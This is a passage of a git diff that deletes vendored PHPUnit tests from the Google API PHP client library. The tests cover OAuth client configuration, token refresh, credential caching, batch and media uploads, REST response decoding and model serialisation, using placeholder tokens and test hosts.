'"https://www.googleapis.com/robot/v1/metadata/x509/123456789@developer.gserviceaccount.com"'. - ',"client_id":"123456789.apps.googleusercontent.com","auth_provider_x509_cert_url":'. - '"https://www.googleapis.com/oauth2/v1/certs"}}'; - $wObj = json_decode($web, true); - $client->setAuthConfig($wObj); - $this->assertEquals($client->getClientId(), $wObj['web']['client_id']); - $this->assertEquals($client->getClientSecret(), $wObj['web']['client_secret']); - $this->assertEquals($client->getRedirectUri(), ''); - } - - public function testIniConfig() - { - $config = parse_ini_file(__DIR__ . '/../config/test.ini'); - $client = new Client($config); - - $this->assertEquals('My Test application', $client->getConfig('application_name')); - $this->assertEquals( - 'gjfiwnGinpena3', - $client->getClientSecret() - ); - } - - public function testNoAuth() - { - /** @var $noAuth Google_Auth_Simple */ - $client = new Client(); - $client->setDeveloperKey(null); - - // unset application credentials - $GOOGLE_APPLICATION_CREDENTIALS = getenv('GOOGLE_APPLICATION_CREDENTIALS'); - $HOME = getenv('HOME'); - putenv('GOOGLE_APPLICATION_CREDENTIALS='); - putenv('HOME='.sys_get_temp_dir()); - $http = new GuzzleClient(); - $client->authorize($http); - - putenv("GOOGLE_APPLICATION_CREDENTIALS=$GOOGLE_APPLICATION_CREDENTIALS"); - putenv("HOME=$HOME"); - $this->checkAuthHandler($http, null); - } - - public function testApplicationDefaultCredentials() - { - $this->checkServiceAccountCredentials(); - $credentialsFile = getenv('GOOGLE_APPLICATION_CREDENTIALS'); - - $client = new Client(); - $client->setAuthConfig($credentialsFile); - - $http = new GuzzleClient(); - $client->authorize($http); - - $this->checkAuthHandler($http, 'AuthToken'); - $this->checkCredentials($http, 'Google\Auth\Credentials\ServiceAccountCredentials'); - } - - public function testApplicationDefaultCredentialsWithSubject() - { - $this->checkServiceAccountCredentials(); - $credentialsFile = getenv('GOOGLE_APPLICATION_CREDENTIALS'); - - $sub = 'sub123'; - $client = new Client(); - $client->setAuthConfig($credentialsFile); - $client->setSubject($sub); - - $http = new GuzzleClient(); - $client->authorize($http); - - $this->checkAuthHandler($http, 'AuthToken'); - $this->checkCredentials($http, 'Google\Auth\Credentials\ServiceAccountCredentials', $sub); - } - - /** - * Test that the ID token is properly refreshed. - */ - public function testRefreshTokenSetsValues() - { - $token = json_encode([ - 'access_token' => 'xyz', - 'id_token' => 'ID_TOKEN', - ]); - $postBody = $this->prophesize('GuzzleHttp\Psr7\Stream'); - $postBody->__toString() - ->shouldBeCalledTimes(1) - ->willReturn($token); - - if ($this->isGuzzle5()) { - $response = $this->getGuzzle5ResponseMock(); - $response->getStatusCode() - ->shouldBeCalledTimes(1) - ->willReturn(200); - } else { - $response = $this->prophesize('Psr\Http\Message\ResponseInterface'); - } - - $response->getBody() - ->shouldBeCalledTimes(1) - ->willReturn($postBody->reveal()); - - $response->hasHeader('Content-Type')->willReturn(false); - - $http = $this->prophesize('GuzzleHttp\ClientInterface'); - - if ($this->isGuzzle5()) { - $guzzle5Request = new \GuzzleHttp\Message\Request('POST', '/', ['body' => $token]); - $http->createRequest(Argument::any(), Argument::any(), Argument::any()) - ->shouldBeCalledTimes(1) - ->willReturn($guzzle5Request); - - $http->send(Argument::type('GuzzleHttp\Message\Request')) - ->shouldBeCalledTimes(1) - ->willReturn($response->reveal()); - } else { - $http->send(Argument::type('Psr\Http\Message\RequestInterface'), []) - ->shouldBeCalledTimes(1) - ->willReturn($response->reveal()); - } - - $client = $this->getClient(); - $client->setHttpClient($http->reveal()); - $client->fetchAccessTokenWithRefreshToken("REFRESH_TOKEN"); - $token = $client->getAccessToken(); - $this->assertEquals("ID_TOKEN", $token['id_token']); - } - - /** - * Test that the Refresh Token is set when refreshed. - */ - public function testRefreshTokenIsSetOnRefresh() - { - $refreshToken = 'REFRESH_TOKEN'; - $token = json_encode(array( - 'access_token' => 'xyz', - 'id_token' => 'ID_TOKEN', - )); - $postBody = $this->prophesize('Psr\Http\Message\StreamInterface'); - $postBody->__toString() - ->shouldBeCalledTimes(1) - ->willReturn($token); - - if ($this->isGuzzle5()) { - $response = $this->getGuzzle5ResponseMock(); - $response->getStatusCode() - ->shouldBeCalledTimes(1) - ->willReturn(200); - } else { - $response = $this->prophesize('Psr\Http\Message\ResponseInterface'); - } - - $response->getBody() - ->shouldBeCalledTimes(1) - ->willReturn($postBody->reveal()); - - $response->hasHeader('Content-Type')->willReturn(false); - - $http = $this->prophesize('GuzzleHttp\ClientInterface'); - - if ($this->isGuzzle5()) { - $guzzle5Request = new \GuzzleHttp\Message\Request('POST', '/', ['body' => $token]); - $http->createRequest(Argument::any(), Argument::any(), Argument::any()) - ->willReturn($guzzle5Request); - - $http->send(Argument::type('GuzzleHttp\Message\Request')) - ->shouldBeCalledTimes(1) - ->willReturn($response->reveal()); - } else { - $http->send(Argument::type('Psr\Http\Message\RequestInterface'), []) - ->shouldBeCalledTimes(1) - ->willReturn($response->reveal()); - } - - $client = $this->getClient(); - $client->setHttpClient($http->reveal()); - $client->fetchAccessTokenWithRefreshToken($refreshToken); - $token = $client->getAccessToken(); - $this->assertEquals($refreshToken, $token['refresh_token']); - } - - /** - * Test that the Refresh Token is not set when a new refresh token is returned. - */ - public function testRefreshTokenIsNotSetWhenNewRefreshTokenIsReturned() - { - $refreshToken = 'REFRESH_TOKEN'; - $token = json_encode(array( - 'access_token' => 'xyz', - 'id_token' => 'ID_TOKEN', - 'refresh_token' => 'NEW_REFRESH_TOKEN' - )); - - $postBody = $this->prophesize('GuzzleHttp\Psr7\Stream'); - $postBody->__toString() - ->wilLReturn($token); - - if ($this->isGuzzle5()) { - $response = $this->getGuzzle5ResponseMock(); - $response->getStatusCode() - ->willReturn(200); - } else { - $response = $this->prophesize('Psr\Http\Message\ResponseInterface'); - } - - $response->getBody() - ->willReturn($postBody->reveal()); - - $response->hasHeader('Content-Type')->willReturn(false); - - $http = $this->prophesize('GuzzleHttp\ClientInterface'); - - if ($this->isGuzzle5()) { - $guzzle5Request = new \GuzzleHttp\Message\Request('POST', '/', ['body' => $token]); - $http->createRequest(Argument::any(), Argument::any(), Argument::any()) - ->willReturn($guzzle5Request); - - $http->send(Argument::type('GuzzleHttp\Message\Request')) - ->willReturn($response->reveal()); - } else { - $http->send(Argument::type('Psr\Http\Message\RequestInterface'), []) - ->shouldBeCalledTimes(1) - ->willReturn($response->reveal()); - } - - $client = $this->getClient(); - $client->setHttpClient($http->reveal()); - $client->fetchAccessTokenWithRefreshToken($refreshToken); - $token = $client->getAccessToken(); - $this->assertEquals('NEW_REFRESH_TOKEN', $token['refresh_token']); - } - - /** - * Test fetching an access token with assertion credentials - * using "useApplicationDefaultCredentials" - */ - public function testFetchAccessTokenWithAssertionFromEnv() - { - $this->checkServiceAccountCredentials(); - - $client = $this->getClient(); - $client->useApplicationDefaultCredentials(); - $token = $client->fetchAccessTokenWithAssertion(); - - $this->assertNotNull($token); - $this->assertArrayHasKey('access_token', $token); - } - - /** - * Test fetching an access token with assertion credentials - * using "setAuthConfig" - */ - public function testFetchAccessTokenWithAssertionFromFile() - { - $this->checkServiceAccountCredentials(); - - $client = $this->getClient(); - $client->setAuthConfig(getenv('GOOGLE_APPLICATION_CREDENTIALS')); - $token = $client->fetchAccessTokenWithAssertion(); - - $this->assertNotNull($token); - $this->assertArrayHasKey('access_token', $token); - } - - /** - * Test fetching an access token with assertion credentials - * populates the "created" field - */ - public function testFetchAccessTokenWithAssertionAddsCreated() - { - $this->checkServiceAccountCredentials(); - - $client = $this->getClient(); - $client->useApplicationDefaultCredentials(); - $token = $client->fetchAccessTokenWithAssertion(); - - $this->assertNotNull($token); - $this->assertArrayHasKey('created', $token); - } - - /** - * Test fetching an access token with assertion credentials - * using "setAuthConfig" and "setSubject" but with user credentials - */ - public function testBadSubjectThrowsException() - { - $this->checkServiceAccountCredentials(); - - $client = $this->getClient(); - $client->useApplicationDefaultCredentials(); - $client->setSubject('bad-subject'); - - $authHandler = AuthHandlerFactory::build(); - - // make this method public for testing purposes - $method = new ReflectionMethod($authHandler, 'createAuthHttp'); - $method->setAccessible(true); - $authHttp = $method->invoke($authHandler, $client->getHttpClient()); - - try { - $token = $client->fetchAccessTokenWithAssertion($authHttp); - $this->fail('no exception thrown'); - } catch (ClientException $e) { - $response = $e->getResponse(); - $this->assertContains('Invalid impersonation', (string) $response->getBody()); - } - } - - public function testTokenCallback() - { - $this->onlyPhp55AndAbove(); - $this->checkToken(); - - $client = $this->getClient(); - $accessToken = $client->getAccessToken(); - - if (!isset($accessToken['refresh_token'])) { - $this->markTestSkipped('Refresh Token required'); - } - - // make the auth library think the token is expired - $accessToken['expires_in'] = 0; - $cache = $client->getCache(); - $path = sys_get_temp_dir().'/google-api-php-client-tests-'.time(); - $client->setCache($this->getCache($path)); - $client->setAccessToken($accessToken); - - // create the callback function - $phpunit = $this; - $called = false; - $callback = function ($key, $value) use ($client, $cache, $phpunit, &$called) { - // assert the expected keys and values - $phpunit->assertNotNull($key); - $phpunit->assertNotNull($value); - $called = true; - - // go back to the previous cache - $client->setCache($cache); - }; - - // set the token callback to the client - $client->setTokenCallback($callback); - - // make a silly request to obtain a new token (it's ok if it fails) - $http = $client->authorize(); - try { - $http->get('https://www.googleapis.com/books/v1/volumes?q=Voltaire'); - } catch (Exception $e) {} - $newToken = $client->getAccessToken(); - - // go back to the previous cache - // (in case callback wasn't called) - $client->setCache($cache); - - $this->assertTrue($called); - } - - public function testDefaultTokenCallback() - { - $this->onlyPhp55AndAbove(); - $this->checkToken(); - - $client = $this->getClient(); - $accessToken = $client->getAccessToken(); - - if (!isset($accessToken['refresh_token'])) { - $this->markTestSkipped('Refresh Token required'); - } - - // make the auth library think the token is expired - $accessToken['expires_in'] = 0; - $client->setAccessToken($accessToken); - - // make a silly request to obtain a new token (it's ok if it fails) - $http = $client->authorize(); - try { - $http->get('https://www.googleapis.com/books/v1/volumes?q=Voltaire'); - } catch (Exception $e) {} - - // Assert the in-memory token has been updated - $newToken = $client->getAccessToken(); - $this->assertNotEquals( - $accessToken['access_token'], - $newToken['access_token'] - ); - - $this->assertFalse($client->isAccessTokenExpired()); - } - - /** @runInSeparateProcess */ - public function testOnGceCacheAndCacheOptions() - { - if (!class_exists(GCECache::class)) { - $this->markTestSkipped('Requires google/auth >= 1.12'); - } - - putenv('HOME='); - putenv('GOOGLE_APPLICATION_CREDENTIALS='); - $prefix = 'test_prefix_'; - $cacheConfig = ['gce_prefix' => $prefix]; - - $mockCacheItem = $this->prophesize(CacheItemInterface::class); - $mockCacheItem->isHit() - ->willReturn(true); - $mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn(true); - - $mockCache = $this->prophesize(CacheItemPoolInterface::class); - $mockCache->getItem($prefix . GCECache::GCE_CACHE_KEY) - ->shouldBeCalledTimes(1) - ->willReturn($mockCacheItem->reveal()); - - $client = new Client(['cache_config' => $cacheConfig]); - $client->setCache($mockCache->reveal()); - $client->useApplicationDefaultCredentials(); - $client->authorize(); - } - - /** @runInSeparateProcess */ - public function testFetchAccessTokenWithAssertionCache() - { - $this->checkServiceAccountCredentials(); - $cachedValue = ['access_token' => '2/abcdef1234567890']; - $mockCacheItem = $this->prophesize(CacheItemInterface::class); - $mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - - $mockCache = $this->prophesize(CacheItemPoolInterface::class); - $mockCache->getItem(Argument::any()) - ->shouldBeCalledTimes(1) - ->willReturn($mockCacheItem->reveal()); - - $client = new Client(); - $client->setCache($mockCache->reveal()); - $client->useApplicationDefaultCredentials(); - $token = $client->fetchAccessTokenWithAssertion(); - $this->assertArrayHasKey('access_token', $token); - $this->assertEquals($cachedValue['access_token'], $token['access_token']); - } - - public function testCacheClientOption() - { - $mockCache = $this->prophesize(CacheItemPoolInterface::class); - $client = new Client([ - 'cache' => $mockCache->reveal() - ]); - $this->assertEquals($mockCache->reveal(), $client->getCache()); - } - - public function testExecuteWithFormat() - { - $this->onlyGuzzle6Or7(); - - $client = new Client([ - 'api_format_v2' => true - ]); - - $guzzle = $this->prophesize('GuzzleHttp\Client'); - $guzzle - ->send(Argument::allOf( - Argument::type('Psr\Http\Message\RequestInterface'), - Argument::that(function (RequestInterface $request) { - return $request->getHeaderLine('X-GOOG-API-FORMAT-VERSION') === '2'; - }) - ), []) - ->shouldBeCalled() - ->willReturn(new Response(200, [], null)); - - $client->setHttpClient($guzzle->reveal()); - - $request = new Request('POST', 'http://foo.bar/'); - $client->execute($request); - } - - public function testExecuteSetsCorrectHeaders() - { - $this->onlyGuzzle6Or7(); - - $client = new Client(); - - $guzzle = $this->prophesize('GuzzleHttp\Client'); - $guzzle->send(Argument::that(function (RequestInterface $request) { - $userAgent = sprintf( - '%s%s', - Client::USER_AGENT_SUFFIX, - Client::LIBVER - ); - $xGoogApiClient = sprintf( - 'gl-php/%s gdcl/%s', - phpversion(), - Client::LIBVER - ); - - if ($request->getHeaderLine('User-Agent') !== $userAgent) { - return false; - } - - if ($request->getHeaderLine('x-goog-api-client') !== $xGoogApiClient) { - return false; - } - - return true; - }), [])->shouldBeCalledTimes(1)->willReturn(new Response(200, [], null)); - - $client->setHttpClient($guzzle->reveal()); - - $request = new Request('POST', 'http://foo.bar/'); - $client->execute($request); - } - - /** - * @runInSeparateProcess - */ - public function testClientOptions() - { - // Test credential file - $tmpCreds = [ - 'type' => 'service_account', - 'client_id' => 'foo', - 'client_email' => '', - 'private_key' => '' - ]; - $tmpCredFile = tempnam(sys_get_temp_dir(), 'creds') . '.json'; - file_put_contents($tmpCredFile, json_encode($tmpCreds)); - $client = new Client([ - 'credentials' => $tmpCredFile - ]); - $this->assertEquals('foo', $client->getClientId()); - - // Test credentials array - $client = new Client([ - 'credentials' => $tmpCredFile - ]); - $this->assertEquals('foo', $client->getClientId()); - - // Test singular scope - $client = new Client([ - 'scopes' => 'a-scope' - ]); - $this->assertEquals(['a-scope'], $client->getScopes()); - - // Test multiple scopes - $client = new Client([ - 'scopes' => ['one-scope', 'two-scope'] - ]); - $this->assertEquals(['one-scope', 'two-scope'], $client->getScopes()); - - // Test quota project - $client = new Client([ - 'quota_project' => 'some-quota-project' - ]); - $this->assertEquals('some-quota-project', $client->getConfig('quota_project')); - // Test quota project in google/auth dependency - putenv('GOOGLE_APPLICATION_CREDENTIALS='.$tmpCredFile); - $method = new ReflectionMethod($client, 'createApplicationDefaultCredentials'); - $method->setAccessible(true); - $credentials = $method->invoke($client); - $this->assertEquals('some-quota-project', $credentials->getQuotaProject()); - } -} diff --git a/vendor/google/apiclient/tests/Google/Http/BatchTest.php b/vendor/google/apiclient/tests/Google/Http/BatchTest.php deleted file mode 100644 index b1c51aa323..0000000000 --- a/vendor/google/apiclient/tests/Google/Http/BatchTest.php +++ /dev/null @@ -1,93 +0,0 @@ -checkKey(); - $client = $this->getClient(); - $client->setUseBatch(true); - $books = new Books($client); - $batch = $books->createBatch(); - - $batch->add($books->volumes->listVolumes('Henry David Thoreau'), 'key1'); - $batch->add($books->volumes->listVolumes('Edgar Allen Poe'), 'key2'); - - $result = $batch->execute(); - $this->assertArrayHasKey('response-key1', $result); - $this->assertArrayHasKey('response-key2', $result); - } - - public function testInvalidBatchRequest() - { - $this->checkKey(); - $client = $this->getClient(); - $client->setUseBatch(true); - $books = new Books($client); - $batch = $books->createBatch(); - - $batch->add($books->volumes->listVolumes(false), 'key1'); - $batch->add($books->volumes->listVolumes('Edgar Allen Poe'), 'key2'); - - $result = $batch->execute(); - $this->assertArrayHasKey('response-key1', $result); - $this->assertArrayHasKey('response-key2', $result); - $this->assertInstanceOf( - ServiceException::class, - $result['response-key1'] - ); - } - - public function testMediaFileBatch() - { - $client = $this->getClient(); - $storage = new Storage($client); - $bucket = 'testbucket'; - $stream = Psr7\Utils::streamFor("testbucket-text"); - $params = [ - 'data' => $stream, - 'mimeType' => 'text/plain', - ]; - - // Metadata object for new Google Cloud Storage object - $obj = new Storage\StorageObject(); - $obj->contentType = "text/plain"; - - // Batch Upload - $client->setUseBatch(true); - $obj->name = "batch"; - /** @var \GuzzleHttp\Psr7\Request $request */ - $request = $storage->objects->insert($bucket, $obj, $params); - - $this->assertStringContainsString('multipart/related', $request->getHeaderLine('content-type')); - $this->assertStringContainsString('/upload/', $request->getUri()->getPath()); - $this->assertStringContainsString('uploadType=multipart', $request->getUri()->getQuery()); - } -} diff --git a/vendor/google/apiclient/tests/Google/Http/MediaFileUploadTest.php b/vendor/google/apiclient/tests/Google/Http/MediaFileUploadTest.php deleted file mode 100644 index 2ab31e3a1c..0000000000 --- a/vendor/google/apiclient/tests/Google/Http/MediaFileUploadTest.php +++ /dev/null @@ -1,205 +0,0 @@ -getClient(); - $request = new Request('POST', 'http://www.example.com'); - $media = new MediaFileUpload( - $client, - $request, - 'image/png', - base64_decode('data:image/png;base64,a') - ); - $request = $media->getRequest(); - - $this->assertEquals(0, $media->getProgress()); - $this->assertGreaterThan(0, strlen($request->getBody())); - } - - public function testGetUploadType() - { - $client = $this->getClient(); - $request = new Request('POST', 'http://www.example.com'); - - // Test resumable upload - $media = new MediaFileUpload($client, $request, 'image/png', 'a', true); - $this->assertEquals('resumable', $media->getUploadType(null)); - - // Test data *only* uploads - $media = new MediaFileUpload($client, $request, 'image/png', 'a', false); - $this->assertEquals('media', $media->getUploadType(null)); - - // Test multipart uploads - $media = new MediaFileUpload($client, $request, 'image/png', 'a', false); - $this->assertEquals('multipart', $media->getUploadType(array('a' => 'b'))); - } - - public function testProcess() - { - $client = $this->getClient(); - $data = 'foo'; - - // Test data *only* uploads. - $request = new Request('POST', 'http://www.example.com'); - $media = new MediaFileUpload($client, $request, 'image/png', $data, false); - $request = $media->getRequest(); - $this->assertEquals($data, (string) $request->getBody()); - - // Test resumable (meta data) - we want to send the metadata, not the app data. - $request = new Request('POST', 'http://www.example.com'); - $reqData = json_encode("hello"); - $request = $request->withBody(Psr7\Utils::streamFor($reqData)); - $media = new MediaFileUpload($client, $request, 'image/png', $data, true); - $request = $media->getRequest(); - $this->assertEquals(json_decode($reqData), (string) $request->getBody()); - - // Test multipart - we are sending encoded meta data and post data - $request = new Request('POST', 'http://www.example.com'); - $reqData = json_encode("hello"); - $request = $request->withBody(Psr7\Utils::streamFor($reqData)); - $media = new MediaFileUpload($client, $request, 'image/png', $data, false); - $request = $media->getRequest(); - $this->assertStringContainsString($reqData, (string) $request->getBody()); - $this->assertStringContainsString(base64_encode($data), (string) $request->getBody()); - } - - public function testGetResumeUri() - { - $this->checkToken(); - - $client = $this->getClient(); - $client->addScope("https://www.googleapis.com/auth/drive"); - $service = new Drive($client); - $file = new Drive\DriveFile(); - $file->name = 'TESTFILE-testGetResumeUri'; - $chunkSizeBytes = 1 * 1024 * 1024; - - // Call the API with the media upload, defer so it doesn't immediately return. - $client->setDefer(true); - $request = $service->files->create($file); - - // Create a media file upload to represent our upload process. - $media = new MediaFileUpload( - $client, - $request, - 'text/plain', - null, - true, - $chunkSizeBytes - ); - - // request the resumable url - $uri = $media->getResumeUri(); - $this->assertIsString($uri); - - // parse the URL - $parts = parse_url($uri); - $this->assertArrayHasKey('query', $parts); - - // parse the querystring - parse_str($parts['query'], $query); - $this->assertArrayHasKey('uploadType', $query); - $this->assertArrayHasKey('upload_id', $query); - $this->assertEquals('resumable', $query['uploadType']); - } - - public function testNextChunk() - { - $this->checkToken(); - - $client = $this->getClient(); - $client->addScope("https://www.googleapis.com/auth/drive"); - $service = new Drive($client); - - $data = 'foo'; - $file = new Drive\DriveFile(); - $file->name = $name = 'TESTFILE-testNextChunk'; - - // Call the API with the media upload, defer so it doesn't immediately return. - $client->setDefer(true); - $request = $service->files->create($file); - - // Create a media file upload to represent our upload process. - $media = new MediaFileUpload( - $client, - $request, - 'text/plain', - null, - true - ); - $media->setFileSize(strlen($data)); - - // upload the file - $file = $media->nextChunk($data); - $this->assertInstanceOf(Drive\DriveFile::class, $file); - $this->assertEquals($name, $file->name); - - // remove the file - $client->setDefer(false); - $response = $service->files->delete($file->id); - $this->assertEquals(204, $response->getStatusCode()); - } - - public function testNextChunkWithMoreRemaining() - { - $this->checkToken(); - - $client = $this->getClient(); - $client->addScope("https://www.googleapis.com/auth/drive"); - $service = new Drive($client); - - $chunkSizeBytes = 262144; // smallest chunk size allowed by APIs - $data = str_repeat('.', $chunkSizeBytes+1); - $file = new Drive\DriveFile(); - $file->name = $name = 'TESTFILE-testNextChunkWithMoreRemaining'; - - // Call the API with the media upload, defer so it doesn't immediately return. - $client->setDefer(true); - $request = $service->files->create($file); - - // Create a media file upload to represent our upload process. - $media = new MediaFileUpload( - $client, - $request, - 'text/plain', - $data, - true, - $chunkSizeBytes - ); - $media->setFileSize(strlen($data)); - - // upload the file - $file = $media->nextChunk(); - // false means we aren't done uploading, which is exactly what we expect! - $this->assertFalse($file); - } -} diff --git a/vendor/google/apiclient/tests/Google/Http/RESTTest.php b/vendor/google/apiclient/tests/Google/Http/RESTTest.php deleted file mode 100644 index 1e8c8bf1af..0000000000 --- a/vendor/google/apiclient/tests/Google/Http/RESTTest.php +++ /dev/null @@ -1,141 +0,0 @@ -rest = new REST(); - $this->request = new Request('GET', '/'); - } - - public function testDecodeResponse() - { - $client = $this->getClient(); - $response = new Response(204); - $decoded = $this->rest->decodeHttpResponse($response, $this->request); - $this->assertEquals($response, $decoded); - - foreach (array(200, 201) as $code) { - $headers = array('foo', 'bar'); - $stream = Psr7\Utils::streamFor('{"a": 1}'); - $response = new Response($code, $headers, $stream); - - $decoded = $this->rest->decodeHttpResponse($response, $this->request); - $this->assertEquals('{"a": 1}', (string) $decoded->getBody()); - } - } - - public function testDecodeMediaResponse() - { - $client = $this->getClient(); - - $request = new Request('GET', 'http://www.example.com?alt=media'); - $headers = array(); - $stream = Psr7\Utils::streamFor('thisisnotvalidjson'); - $response = new Response(200, $headers, $stream); - - $decoded = $this->rest->decodeHttpResponse($response, $request); - $this->assertEquals('thisisnotvalidjson', (string) $decoded->getBody()); - } - - - public function testDecode500ResponseThrowsException() - { - $this->expectException(ServiceException::class); - $response = new Response(500); - $this->rest->decodeHttpResponse($response, $this->request); - } - - public function testExceptionResponse() - { - $this->expectException(ServiceException::class); - $http = new GuzzleClient(); - - $request = new Request('GET', 'http://httpbin.org/status/500'); - $response = $this->rest->doExecute($http, $request); - } - - public function testDecodeEmptyResponse() - { - $stream = Psr7\Utils::streamFor('{}'); - $response = new Response(200, array(), $stream); - $decoded = $this->rest->decodeHttpResponse($response, $this->request); - $this->assertEquals('{}', (string) $decoded->getBody()); - } - - public function testBadErrorFormatting() - { - $this->expectException(ServiceException::class); - $stream = Psr7\Utils::streamFor( - '{ - "error": { - "code": 500, - "message": null - } - }' - ); - $response = new Response(500, array(), $stream); - $this->rest->decodeHttpResponse($response, $this->request); - } - - public function tesProperErrorFormatting() - { - $this->expectException(ServiceException::class); - $stream = Psr7\Utils::streamFor( - '{ - error: { - errors: [ - { - "domain": "global", - "reason": "authError", - "message": "Invalid Credentials", - "locationType": "header", - "location": "Authorization", - } - ], - "code": 401, - "message": "Invalid Credentials" - }' - ); - $response = new Response(401, array(), $stream); - $this->rest->decodeHttpResponse($response, $this->request); - } - - public function testNotJson404Error() - { - $this->expectException(ServiceException::class); - $stream = Psr7\Utils::streamFor('Not Found'); - $response = new Response(404, array(), $stream); - $this->rest->decodeHttpResponse($response, $this->request); - } -} diff --git a/vendor/google/apiclient/tests/Google/ModelTest.php b/vendor/google/apiclient/tests/Google/ModelTest.php deleted file mode 100644 index 0633963c04..0000000000 --- a/vendor/google/apiclient/tests/Google/ModelTest.php +++ /dev/null @@ -1,289 +0,0 @@ -calendarData, true); - $event = new Calendar\Event($data); - $obj = json_decode(json_encode($event->toSimpleObject()), true); - $this->assertArrayHasKey('date', $obj['start']); - $this->assertArrayNotHasKey('dateTime', $obj['start']); - $date = new Calendar\EventDateTime(); - $date->setDate(Model::NULL_VALUE); - $event->setStart($date); - $obj = json_decode(json_encode($event->toSimpleObject()), true); - $this->assertNull($obj['start']['date']); - $this->assertArrayHasKey('date', $obj['start']); - $this->assertArrayNotHasKey('dateTime', $obj['start']); - } - public function testModelMutation() - { - $data = json_decode($this->calendarData, true); - $event = new Calendar\Event($data); - $date = new Calendar\EventDateTime(); - date_default_timezone_set('UTC'); - $dateString = Date("c"); - $summary = "hello"; - $date->setDate($dateString); - $event->setStart($date); - $event->setEnd($date); - $event->setSummary($summary); - $simpleEvent = $event->toSimpleObject(); - $this->assertEquals($dateString, $simpleEvent->start->date); - $this->assertEquals($dateString, $simpleEvent->end->date); - $this->assertEquals($summary, $simpleEvent->summary); - - $event2 = new Calendar\Event(); - $this->assertNull($event2->getStart()); - } - - public function testVariantTypes() - { - $file = new Drive\DriveFile(); - $metadata = new Drive\DriveFileImageMediaMetadata(); - $metadata->setCameraMake('Pokémon Snap'); - $file->setImageMediaMetadata($metadata); - $data = json_decode(json_encode($file->toSimpleObject()), true); - $this->assertEquals('Pokémon Snap', $data['imageMediaMetadata']['cameraMake']); - } - - public function testOddMappingNames() - { - $creative = new AdExchangeBuyer\Creative(); - $creative->setAccountId('12345'); - $creative->setBuyerCreativeId('12345'); - $creative->setAdvertiserName('Hi'); - $creative->setHTMLSnippet("

                                Foo!

                                "); - $creative->setClickThroughUrl(array('http://somedomain.com')); - $creative->setWidth(100); - $creative->setHeight(100); - $data = json_decode(json_encode($creative->toSimpleObject()), true); - $this->assertEquals($data['HTMLSnippet'], "

                                Foo!

                                "); - $this->assertEquals($data['width'], 100); - $this->assertEquals($data['height'], 100); - $this->assertEquals($data['accountId'], "12345"); - } - - public function testJsonStructure() - { - $model = new Model(); - $model->publicA = "This is a string"; - $model2 = new Model(); - $model2->publicC = 12345; - $model2->publicD = null; - $model->publicB = $model2; - $model3 = new Model(); - $model3->publicE = 54321; - $model3->publicF = null; - $model->publicG = array($model3, "hello", false); - $model->publicH = false; - $model->publicI = 0; - $string = json_encode($model->toSimpleObject()); - $data = json_decode($string, true); - $this->assertEquals(12345, $data['publicB']['publicC']); - $this->assertEquals("This is a string", $data['publicA']); - $this->assertArrayNotHasKey("publicD", $data['publicB']); - $this->assertArrayHasKey("publicE", $data['publicG'][0]); - $this->assertArrayNotHasKey("publicF", $data['publicG'][0]); - $this->assertEquals("hello", $data['publicG'][1]); - $this->assertFalse($data['publicG'][2]); - $this->assertArrayNotHasKey("data", $data); - $this->assertFalse($data['publicH']); - $this->assertEquals(0, $data['publicI']); - } - - public function testIssetPropertyOnModel() - { - $model = new Model(); - $model['foo'] = 'bar'; - $this->assertTrue(isset($model->foo)); - } - - public function testUnsetPropertyOnModel() - { - $model = new Model(); - $model['foo'] = 'bar'; - unset($model->foo); - $this->assertFalse(isset($model->foo)); - } - - public function testCollectionWithItemsFromConstructor() - { - $data = json_decode( - '{ - "kind": "calendar#events", - "id": "1234566", - "etag": "abcdef", - "totalItems": 4, - "items": [ - {"id": 1}, - {"id": 2}, - {"id": 3}, - {"id": 4} - ] - }', - true - ); - $collection = new Calendar\Events($data); - $this->assertCount(4, $collection); - $count = 0; - foreach ($collection as $col) { - $count++; - } - $this->assertEquals(4, $count); - $this->assertEquals(1, $collection[0]->id); - } - - public function testCollectionWithItemsFromSetter() - { - $data = json_decode( - '{ - "kind": "calendar#events", - "id": "1234566", - "etag": "abcdef", - "totalItems": 4 - }', - true - ); - $collection = new Calendar\Events($data); - $collection->setItems([ - new Calendar\Event(['id' => 1]), - new Calendar\Event(['id' => 2]), - new Calendar\Event(['id' => 3]), - new Calendar\Event(['id' => 4]), - ]); - $this->assertCount(4, $collection); - $count = 0; - foreach ($collection as $col) { - $count++; - } - $this->assertEquals(4, $count); - $this->assertEquals(1, $collection[0]->id); - } - - public function testMapDataType() - { - $data = json_decode( - '{ - "calendar": { - "regular": { "background": "#FFF", "foreground": "#000" }, - "inverted": { "background": "#000", "foreground": "#FFF" } - } - }', - true - ); - $collection = new Calendar\Colors($data); - $this->assertCount(2, $collection->calendar); - $this->assertTrue(isset($collection->calendar['regular'])); - $this->assertTrue(isset($collection->calendar['inverted'])); - $this->assertInstanceOf(Calendar\ColorDefinition::class, $collection->calendar['regular']); - $this->assertEquals('#FFF', $collection->calendar['regular']->getBackground()); - $this->assertEquals('#FFF', $collection->calendar['inverted']->getForeground()); - } - - public function testPassingInstanceInConstructor() - { - $creator = new Calendar\EventCreator(); - $creator->setDisplayName('Brent Shaffer'); - $data = [ - "creator" => $creator - ]; - $event = new Calendar\Event($data); - $this->assertInstanceOf(Calendar\EventCreator::class, $event->getCreator()); - $this->assertEquals('Brent Shaffer', $event->creator->getDisplayName()); - } - - public function testPassingInstanceInConstructorForMap() - { - $regular = new Calendar\ColorDefinition(); - $regular->setBackground('#FFF'); - $regular->setForeground('#000'); - $data = [ - "calendar" => [ - "regular" => $regular, - "inverted" => [ "background" => "#000", "foreground" => "#FFF" ], - ] - ]; - $collection = new Calendar\Colors($data); - $this->assertCount(2, $collection->calendar); - $this->assertTrue(isset($collection->calendar['regular'])); - $this->assertTrue(isset($collection->calendar['inverted'])); - $this->assertInstanceOf(Calendar\ColorDefinition::class, $collection->calendar['regular']); - $this->assertEquals('#FFF', $collection->calendar['regular']->getBackground()); - $this->assertEquals('#FFF', $collection->calendar['inverted']->getForeground()); - } - - /** - * @see https://github.com/google/google-api-php-client/issues/1308 - */ - public function testKeyTypePropertyConflict() - { - $data = [ - "duration" => 0, - "durationType" => "unknown", - ]; - $creativeAsset = new Dfareporting\CreativeAsset($data); - $this->assertEquals(0, $creativeAsset->getDuration()); - $this->assertEquals('unknown', $creativeAsset->getDurationType()); - } -} diff --git a/vendor/google/apiclient/tests/Google/Service/AdSenseTest.php b/vendor/google/apiclient/tests/Google/Service/AdSenseTest.php 